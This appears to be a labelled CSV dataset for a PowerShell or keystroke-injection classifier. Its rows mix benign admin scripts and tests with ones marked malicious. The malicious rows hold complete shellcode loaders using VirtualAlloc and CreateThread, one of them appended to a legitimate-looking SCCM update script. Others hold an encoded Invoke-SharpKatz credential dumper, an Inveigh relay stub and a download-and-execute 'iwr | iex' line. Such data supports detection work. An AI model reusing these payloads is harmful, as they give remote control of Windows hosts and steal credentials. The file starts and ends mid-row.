5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1567455e-05,0.9999484
"win+r enter powershell enter enter enter $oBs = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $oBs -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xdf,0xbd,0x5c,0x13,0x9d,0xc3,0xd9,0x74,0x24,0xf4,0x5f,0x31,0xc9,0xb1,0x47,0x31,0x6f,0x18,0x03,0x6f,0x18,0x83,0xef,0xa0,0xf1,0x68,0x3f,0xb0,0x74,0x92,0xc0,0x40,0x19,0x1a,0x25,0x71,0x19,0x78,0x2d,0x21,0xa9,0x0a,0x63,0xcd,0x42,0x5e,0x90,0x46,0x26,0x77,0x97,0xef,0x8d,0xa1,0x96,0xf0,0xbe,0x92,0xb9,0x72,0xbd,0xc6,0x19,0x4b,0x0e,0x1b,0x5b,0x8c,0x73,0xd6,0x09,0x45,0xff,0x45,0xbe,0xe2,0xb5,0x55,0x35,0xb8,0x58,0xde,0xaa,0x08,0x5a,0xcf,0x7c,0x03,0x05,0xcf,0x7f,0xc0,0x3d,0x46,0x98,0x05,0x7b,0x10,0x13,0xfd,0xf7,0xa3,0xf5,0xcc,0xf8,0x08,0x38,0xe1,0x0a,0x50,0x7c,0xc5,0xf4,0x27,0x74,0x36,0x88,0x3f,0x43,0x45,0x56,0xb5,0x50,0xed,0x1d,0x6d,0xbd,0x0c,0xf1,0xe8,0x36,0x02,0xbe,0x7f,0x10,0x06,0x41,0x53,0x2a,0x32,0xca,0x52,0xfd,0xb3,0x88,0x70,0xd9,0x98,0x4b,0x18,0x78,0x44,0x3d,0x25,0x9a,0x27,0xe2,0x83,0xd0,0xc5,0xf7,0xb9,0xba,0x81,0x34,0xf0,0x44,0x51,0x53,0x83,0x37,0x63,0xfc,0x3f,0xd0,0xcf,0x75,0xe6,0x27,0x30,0xac,0x5e,0xb7,0xcf,0x4f,0x9f,0x91,0x0b,0x1b,0xcf,0x89,0xba,0x24,0x84,0x49,0x43,0xf1,0x31,0x4f,0xd3,0x3a,0x6d,0x4e,0x24,0xd3,0x6c,0x51,0x3b,0x7f,0xf8,0xb7,0x6b,0x2f,0xaa,0x67,0xcb,0x9f,0x0a,0xd8,0xa3,0xf5,0x84,0x07,0xd3,0xf5,0x4e,0x20,0x79,0x1a,0x27,0x18,0x15,0x83,0x62,0xd2,0x84,0x4c,0xb9,0x9e,0x86,0xc7,0x4e,0x5e,0x48,0x20,0x3a,0x4c,0x3c,0xc0,0x71,0x2e,0xea,0xdf,0xaf,0x45,0x12,0x4a,0x54,0xcc,0x45,0xe2,0x56,0x29,0xa1,0xad,0xa9,0x1c,0xba,0x64,0x3c,0xdf,0xd4,0x88,0xd0,0xdf,0x24,0xdf,0xba,0xdf,0x4c,0x87,0x9e,0xb3,0x69,0xc8,0x0a,0xa0,0x22,0x5d,0xb5,0x91,0x97,0xf6,0xdd,0x1f,0xce,0x31,0x42,0xdf,0x25,0xc0,0xbe,0x36,0x03,0xb6,0xae,0x8a;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$F5J=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($F5J.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$F5J,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2527448e-05,0.9999474
"win+r enter powershell enter enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter enter Describe 'Reset-HostsFile' { enter $customHostsFile = '' enter enter BeforeEach { enter $Global:Error.Clear() enter $customHostsFile = Join-Path $env:temp ([IO.Path]::GetRandomFileName()) enter @"" enter 127.0.0.1 localhost enter ""@ | Out-File -FilePath $customHostsfile -Encoding OEM enter } enter enter AfterEach { enter Remove-Item $customHostsFile enter } enter enter It 'should operate on hosts file by default' { enter $originalHostsfile = Read-File -Path (Get-PathToHostsFile) enter enter $firstEntry = '10.1.1.1 one.example.com' enter $commentLine = ' enter $secondEntry = ""10.1.1.2 two.example.com"" enter @"" enter enter $firstEntry enter $commentLine enter $secondEntry enter enter ""@ | Write-File -Path (Get-PathToHostsFile) enter enter try enter { enter Reset-HostsFile enter $hostsFile = Read-File -Path (Get-PathToHostsFile) enter $hostsFile | Where-Object { $_ -eq $firstEntry } | Should BeNullOrEmpty enter $hostsFile | Where-Object { $_ -eq $commentLine } | Should BeNullOrEmpty enter $hostsFile | Where-Object { $_ -eq $secondEntry } | Should BeNullOrEmpty enter } enter finally enter { enter if( $originalHostsfile ) enter { enter Write-File -Path (Get-PathToHostsFile) -InputObject $originalHostsFile enter } enter } enter } enter enter It 'should remove custom hosts entry' { enter $commentLine = ' enter $customEntry = ""10.1.1.1 example.com"" enter @"" enter enter $commentLine enter $customEntry enter enter ""@ | Out-File -FilePath $customHostsFile -Encoding OEM -Append enter Reset-HostsFile -Path $customHostsFile enter $hostsFile = Get-Content -Path $customHostsFile enter $hostsFile | Where-Object { $_ -eq $commentLine } | Should BeNullOrEmpty enter $hostsFile | Where-Object { $_ -eq $customEntry } | Should BeNullOrEmpty enter $hostsFile | Where-Object { $_ -eq '127.0.0.1 localhost' } | Should Not BeNullOrEmpty enter } enter enter It 'should support should process' { enter $customEntry = '1.2.3.4 example.com' enter $customEntry | Set-Content -Path $customHostsFile enter Reset-HostsFile -WhatIf enter Get-Content -Path $customHostsFile | Where-Object { $_ -eq $customEntry } | Should Not BeNullOrEmpty enter } enter enter It 'should create file if it does not exist' { enter Remove-Item $customHostsFile enter enter Reset-HostsFile -Path $customHostsFile enter enter $hostsFile = Get-Content -Path $customHostsFile enter $hostsFile | Where-Object { $_ -eq '127.0.0.1 localhost' } | Should Not BeNullOrEmpty enter } enter } enter enter",0,0,0.99995863,4.1349987e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_taicdmf5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.380769e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_eibejbu9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_25.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.4296736e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_adbo8413"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4230277e-05
"win+r powershell enter function Invoke-SharpKatz { [CmdletBinding()] Param ( [String] $Command = "" enter h"" ) $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String(""H4sIAAAAAAAE enter AMy9B2AcxRU/PLe3t7tXpb2T7lRsS+5rnWQb29iSbYxtMNhgTDMgm1BDswCvWZl6PiF6Mw4QQsA049Bb enter gBAgtNBbgAhICKYIAoHQSYCEEpC/997MbPPJ8M+Xrxh0M/N7b970N29mZ2d3WnoeizLGVPjbuJGxexj/ enter N5v98L9e+Ms03Zthd8afG35PZOFzwxcftqy7eYVjH+occGTzTw9Yvtxe2Xzgwc3O0cubly1v3nbn3ZuP enter tA86eHw6nRglZOwyj7GFkSg7bYvZ70u5bzElkoxMZGw15Mzg2PM3gb9ZcszmfoXnmzHPJZ/CfVE2+zTG enter qul/z3Ud+rcS5O6Fnoei7LJYhUK+FWUpcP50Y5S1/4g6cf81u1mnfwaE5/vC41cefNxKlHuOKBeWVdlE enter xP7jnW7np+CnvEEemQbummiAbzb8P945+AgbGFMizyTrwk345oazedtNnAfzprAYa+2IsOuPUlgEwr+G enter 1GZ+y9hh4398sRushTGmtQxTSpCBBLpRdPdULGiXhBItI6yoZUKBPzcxymaCC+mZ0aPhtzGhtU60NOQi enter ERr92jr8tNZZBuFRwvHXjsNPMZJvebH5wMbLjeZxe+xxzVJfbDsBP50C9iLbSYR5+jo7kMrOzBoH0l9R enter dy78RkbnuYBElo0+CrLeuBp/2tQxNcXkQB79NlR1Yv3oApeYzEZGHxVDvpiPL+byWWle4NxElY1h2DeZ enter yesE0o6qMQu4tPxAFEqf enter enter",1,1,6.138005e-05,0.9999386
"win+r powershell enter function Install-CMsmqMessageQueue { [CmdletBinding(SupportsShouldProcess=$tr enter ue)] param( [Parameter(Mandatory=$true)] [string] $Name, [Switch] enter enter",1,1,0.0031927063,0.99680734
"win+r powershell enter function Invoke-InveighRelay { [CmdletBinding()] param ( [parameter(Mandatory enter =$false)][Array]$HTTPResetDelay = ""Firefox"", [parameter(Mandatory=$false)][Arra enter y]$ProxyIgnore = ""Firefox"", [parameter(Mandatory=$false)][Array]$Usernames = """" enter , [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = """", [parameter(Mandato enter ry=$false)][Int]$ConsoleQueueLimit = ""-1"", [parameter(Mandatory=$false)][Int]$C enter onsoleStatus = """", enter enter",1,1,0.00010518375,0.99989486
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_ed311t8i"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4308578e-05
"win+r enter powershell enter enter enter  enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [parameter(Mandatory=$true, HelpMessage=""Site server where the SMS Provider is installed."")] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet})] enter [string]$SiteServer, enter enter [parameter(Mandatory=$true, HelpMessage=""Specify a Configuration Manager version that should be installed. Valid format is e.g. 1602 or 1606."")] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({$_.Length -eq 4})] enter [string]$Version, enter enter [parameter(Mandatory=$false, HelpMessage=""Specify how many times the script will check if an UpdatePackage is available for installation."")] enter [ValidateNotNullOrEmpty()] enter [int]$AvailabilityCheckCount = 120, enter enter [parameter(Mandatory=$false, HelpMessage=""Specify how many times the script will check if the prerequisite checks has completed for an UpdatePackage."")] enter [ValidateNotNullOrEmpty()] enter [int]$PrerequisiteCheckCount = 120 enter ) enter Begin { enter enter try { enter Write-Verbose -Message ""Determining Site Code for Site server: '$($SiteServer)'"" enter $SiteCodeObjects = Get-WmiObject -Namespace ""root\SMS"" -Class SMS_ProviderLocation -ComputerName $SiteServer -ErrorAction Stop enter foreach ($SiteCodeObject in $SiteCodeObjects) { enter if ($SiteCodeObject.ProviderForLocalSite -eq $true) { enter $SiteCode = $SiteCodeObject.SiteCode enter Write-Verbose -Message ""Site Code: $($SiteCode)"" enter } enter } enter } enter catch [System.UnauthorizedAccessException] { enter Write-Warning -Message ""Access denied"" ; break enter } enter catch [System.Exception] { enter Write-Warning -Message ""Unable to determine Site Code"" ; break enter } enter } enter Process { enter enter $UpdateCheckCount = 0 enter $PrereqCheckCount = 0 enter $UpdatePackageAvailibility = $false enter $CMUpdatePackage = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_CM_UpdatePackages -ComputerName $SiteServer -Filter ""(Name like 'Configuration Manager $($Version)%') AND (UpdateType = 0) AND (State != 196612)"" -Verbose:$false enter if (($CMUpdatePackage | Measure-Object).Count -eq 1) { enter do { enter enter $UpdateCheckCount++ enter Write-Verbose -Message ""Configuration Manager Servicing: Attempting to locate Update Package in SMS_CM_UpdatePackages matching 'Configuration Manager $($Version)'"" enter $CMUpdatePackage = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_CM_UpdatePackages -ComputerName $SiteServer -Filter ""(Name like 'Configuration Manager $($Version)%') AND (UpdateType = 0)"" -Verbose:$false enter if ($CMUpdatePackage -eq $null) { enter Write-Verbose -Message ""Configuration Manager Servicing ($($UpdateCheckCount) / $($AvailabilityCheckCount)): UpdatePackage was not found matching 'Configuration Manager $($Version)', sleeping for 30 seconds"" enter } enter else { enter Write-Verbose -Message ""Configuration Manager Servicing ($($UpdateCheckCount) / $($AvailabilityCheckCount)): UpdatePackage found, validating if $($CMUpdatePackage.Name.TrimEnd()) is ready for installation"" enter switch ($CMUpdatePackage.State) { enter 327682 { enter Write-Verbose -Message ""Configuration Manager Servicing ($($UpdateCheckCount) / $($AvailabilityCheckCount)): UpdatePackage state is Downloading, sleeping for 30 seconds"" enter if ($UpdateCheckCount -eq $AvailabilityCheckCount) { enter Write-Verbose -Message ""Configuration Manager Servicing ($($UpdateCheckCount) / $($AvailabilityCheckCount)): Downloading state detected for longer than $($AvailabilityCheckCount * 30 / 60) minutes, restarting SMS_EXECUTIVE service"" enter if ($PSCmdlet.ShouldProcess(""SMS_EXECUTIVE"", ""Restart"")) { enter Restart-Service -Name ""SMS_EXECUTIVE"" -Force -Verbose:$false enter } enter $UpdateCheckCount = 0 enter } enter } enter 262146 { enter Write-Verbose -Message ""Configuration Manager Servicing ($($UpdateCheckCount) / $($AvailabilityCheckCount)): UpdatePackage state is Available, attempting to initiate installation of $($CMUpdatePackage.Name.TrimEnd())"" enter $UpdatePackageAvailibility = $true enter } enter } enter } enter if ($UpdatePackageAvailibility -eq $false) { enter Start-Sleep -Seconds 30 enter } enter } enter while ($CMUpdatePackage.State -ne 262146) enter Write-Verbose -Message ""Configuration Manager Servicing: Starting prerequisite checks for $($CMUpdatePackage.Name.TrimEnd())"" enter $CMUpdatePackage = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_CM_UpdatePackages -ComputerName $SiteServer -Filter ""(Name like 'Configuration Manager $($Version)%') AND (UpdateType = 0)"" -Verbose:$false enter if ($CMUpdatePackage -ne $null) { enter if ($PSCmdlet.ShouldProcess($CMUpdatePackage.Name.TrimEnd(), ""Install"")) { enter $CMUpdatePackage.UpdatePrereqAndStateFlags(0,2) | Out-Null enter } enter } enter do { enter enter $PrereqCheckCount++ enter if ($PrereqCheckCount -eq $PrerequisiteCheckCount) { enter Write-Verbose -Message ""Configuration Manager Servicing ($($PrereqCheckCount) / $($PrerequisiteCheckCount)): Prerequisite checks has been in running state for $($PrerequisiteCheckCount * 30 / 60) min, restarting SMS_EXECUTIVE service"" enter if ($PSCmdlet.ShouldProcess(""SMS_EXECUTIVE"", ""Restart"")) { enter Restart-Service -Name ""SMS_EXECUTIVE"" -Force -Verbose:$false enter } enter $PrereqCheckCount = 0 enter } enter else { enter Write-Verbose -Message ""Configuration Manager Servicing ($($PrereqCheckCount) / $($PrerequisiteCheckCount)): Waiting for prerequisite checks to complete for $($CMUpdatePackage.Name.TrimEnd()), sleeping for 30 seconds"" enter $CMUpdatePackage = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_CM_UpdatePackages -ComputerName $SiteServer -Filter ""(Name like 'Configuration Manager $($Version)%') AND (UpdateType = 0)"" -Verbose:$false enter Start-Sleep -Seconds 30 enter } enter } enter while ($CMUpdatePackage.State -ne 196609) enter Write-Verbose -Message ""Configuration Manager Servicing: Installation was successfully initated for $($CMUpdatePackage.Name.TrimEnd()), for more details, review the CMUpdate.log"" enter } enter elseif (($CMUpdatePackage | Measure-Object).Count -gt 1) { enter Write-Warning -Message ""Query for Update Packages returned more than 1 instance, please define your search with a specific version"" enter } enter else { enter Write-Warning -Message ""Query for Update Packages did not return any instances"" enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x22,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1608687e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_vrdlpr6t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 3."" enter $PSVersionTable | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.470173e-05
"win+r enter powershell enter enter enter function Get-SCSMWorkItemAffectedUser enter { enter [CmdletBinding(DefaultParameterSetName = 'GUID')] enter param enter ( enter [Parameter(ParameterSetName = 'SMObject', enter Mandatory = $true, enter ValueFromPipeline = $true)] enter $SMObject, enter enter [Parameter(ParameterSetName = 'GUID', enter Mandatory = $true)] enter $Guid enter ) enter enter BEGIN enter { enter Import-Module -Name SMLets -ErrorAction Stop enter $RelationshipClass_AffectedUser = 'dff9be66-38b0-b6d6-6144-a412a3ebd4ce' enter $RelationshipClass_AffectedUser_Object = Get-SCSMRelationshipClass -id $RelationshipClass_AffectedUser enter } enter PROCESS enter { enter IF ($PSBoundParameters['GUID']) enter { enter foreach ($Item in $GUID) enter { enter $SMObject = Get-SCSMObject -id $item enter Write-Verbose -Message ""[PROCESS] Working on $($Item.Name)"" enter Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_AffectedUser_Object | enter Select-Object -Property @{ Label = ""WorkItemName""; Expression = { $SMObject.Name } }, enter @{ Label = ""WorkItemGUID""; Expression = { $SMObject.get_id() } }, * enter } enter } enter enter IF ($PSBoundParameters['SMobject']) enter { enter foreach ($Item in $SMObject) enter { enter Write-Verbose -Message ""[PROCESS] Working on $($Item.Name)"" enter Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_AffectedUser_Object | enter Select-Object -Property @{ Label = ""WorkItemName""; Expression = { $Item.Name } }, enter @{ Label = ""WorkItemGUID""; Expression = { $Item.get_id() } }, * enter } enter } enter } enter } enter enter",0,0,0.9999484,5.1661573e-05
iwr -useb https://raw.githubusercontent.com/spicetify/spicetify-cli/master/insta enter ll.ps1 | iex enter,1,1,0.00019111526,0.99980897
"win+r powershell enter  enter function Test-ManagedInstanceKeyVaultKeyCI enter { enter $params = Get-SqlServerKeyVaultKeyTestEnvironmentParameters enter $managedInstance = Get-ManagedInstanceForTdeTest $params enter $mangedInstanceRg = $managedInstance.ResourceGroupName enter $managedInstanceName = $managedInstance.ManagedInstanceName enter $managedInstanceResourceId = $managedInstance.Id enter $keyResult = Add-AzSqlInstanceKeyVaultKey -ResourceGroupName $mangedInstanceRg -InstanceName $managedInstanceName -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult.KeyId ""KeyId mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter $keyResult2 = $managedInstance | Get-AzSqlInstanceKeyVaultKey -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult2.KeyId ""KeyId mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult2.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter $keyResults = Get-AzSqlInstanceKeyVaultKey -InstanceResourceId $managedInstanceResourceId enter Assert-True {$keyResults.Count -gt 0} ""List count <= 0 after calling (List) Get-AzSqlInstanceKeyVaultKey without KeyId"" enter } enter function Test-ManagedInstanceKeyVaultKey enter { enter $params = Get-SqlServerKeyVaultKeyTestEnvironmentParameters enter $managedInstance = Get-ManagedInstanceForTdeTest $params enter $mangedInstanceRg = $managedInstance.ResourceGroupName enter $managedInstanceName = $managedInstance.ManagedInstanceName enter $keyResult = Add-AzSqlInstanceKeyVaultKey -ResourceGroupName $mangedInstanceRg -InstanceName $managedInstanceName -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult.KeyId ""KeyId mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter $keyResult2 = Get-AzSqlInstanceKeyVaultKey -ResourceGroupName $mangedInstanceRg -InstanceName $managedInstanceName -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult2.KeyId ""KeyId mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult2.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter $keyResults = Get-AzSqlInstanceKeyVaultKey -ResourceGroupName $mangedInstanceRg -InstanceName $managedInstanceName enter Assert-True {$keyResults.Count -gt 0} ""List count <= 0 after calling (List) Get-AzSqlInstanceKeyVaultKey without KeyId"" enter } enter function Test-ManagedInstanceKeyVaultKeyInputObject enter { enter $params = Get-SqlServerKeyVaultKeyTestEnvironmentParameters enter $managedInstance = Get-ManagedInstanceForTdeTest $params enter $mangedInstanceRg = $managedInstance.ResourceGroupName enter $managedInstanceName = $managedInstance.ManagedInstanceName enter $keyResult = Add-AzSqlInstanceKeyVaultKey -Instance $managedInstance -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult.KeyId ""KeyId mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter $keyResult2 = Get-AzSqlInstanceKeyVaultKey -Instance $managedInstance -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult2.KeyId ""KeyId mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult2.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter $keyResults = Get-AzSqlInstanceKeyVaultKey -Instance $managedInstance enter Assert-True {$keyResults.Count -gt 0} ""List count <= 0 after calling (List) Get-AzSqlInstanceKeyVaultKey without KeyId"" enter } enter function Test-ManagedInstanceKeyVaultKeyResourceId enter { enter $params = Get-SqlServerKeyVaultKeyTestEnvironmentParameters enter $managedInstance = Get-ManagedInstanceForTdeTest $params enter $mangedInstanceRg = $managedInstance.ResourceGroupName enter $managedInstanceName = $managedInstance.ManagedInstanceName enter $managedInstanceResourceId = $managedInstance.Id enter $keyResult = Add-AzSqlInstanceKeyVaultKey -InstanceResourceId $managedInstanceResourceId -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult.KeyId ""KeyId mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter $keyResult2 = Get-AzSqlInstanceKeyVaultKey -InstanceResourceId $managedInstanceResourceId -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult2.KeyId ""KeyId mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult2.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter $keyResults = Get-AzSqlInstanceKeyVaultKey -InstanceResourceId $managedInstanceResourceId enter Assert-True {$keyResults.Count -gt 0} ""List count <= 0 after calling (List) Get-AzSqlInstanceKeyVaultKey without KeyId"" enter } enter function Test-ManagedInstanceKeyVaultKeyPiping enter { enter $params = Get-SqlServerKeyVaultKeyTestEnvironmentParameters enter $managedInstance = Get-ManagedInstanceForTdeTest $params enter $mangedInstanceRg = $managedInstance.ResourceGroupName enter $managedInstanceName = $managedInstance.ManagedInstanceName enter $keyResult = $managedInstance | 